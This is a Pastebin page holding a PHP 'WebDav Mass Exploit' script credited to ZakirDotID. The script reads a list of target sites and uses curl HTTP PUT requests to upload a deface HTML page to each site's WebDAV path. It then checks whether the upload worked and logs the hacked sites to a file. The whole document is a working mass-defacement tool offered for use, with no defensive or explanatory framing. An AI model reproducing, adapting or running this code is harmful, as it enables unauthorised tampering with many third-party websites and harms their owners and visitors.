Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- echo "
- WebDav Mass Exploit - Coded By ZakirDotID
- -- Usage : php {$argv[0]} target.txt deface.html --
- ";
- if (is_file(@$argv[1]) and (is_file(@$argv[2]))) {
- $target = trim($argv[1]);
- $script = trim($argv[2]);
- $pecah = file_get_contents($target) or die("{$argv[1]} Not Found!");
- $pecah = explode("\r\n", $pecah);
- $fp = @fopen($script, 'r');
- $filesize = filesize($script);
- $count = count($pecah);
- $x = 1;
- foreach ($pecah as $sites) {
- $sites = trim($sites);
- if(preg_match("#http://#", $sites)) {
- $sites = rtrim($sites);
- } else {
- $sites = "http://".$sites;
- }
- $site = "{$sites}/{$script}";
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, $site);
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
- curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20140722 Firefox/24.0 Iceweasel/24.7.0");
- curl_setopt($ch, CURLOPT_PUT, true);
- curl_setopt($ch, CURLOPT_INFILE, $fp);
- curl_setopt($ch, CURLOPT_INFILESIZE, $filesize);
- curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
- curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
- curl_setopt($ch, CURLOPT_TIMEOUT, 1000);
- $exec = curl_exec($ch);
- echo "[{$x}/{$count}][SITE] {$site} => ";
- $cek = cek($site);
- if (preg_match("/hacked/i", $cek)) {
- echo "Sukses\n";
- $f = @fopen("live_dav.txt", 'a');
- @fwrite($f, "{$site}\r\n");
- @fclose($f);
- } else {
- echo "Gagal\n";
- }
- $x++;
- }
- } else {
- echo "Baca usage!";
- }
- function cek($site){
- $ch = curl_init ("$site");
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
- curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
- curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
- curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
- curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
- $data = curl_exec($ch);
- return $data;
- }
Add Comment
Please, Sign In to add comment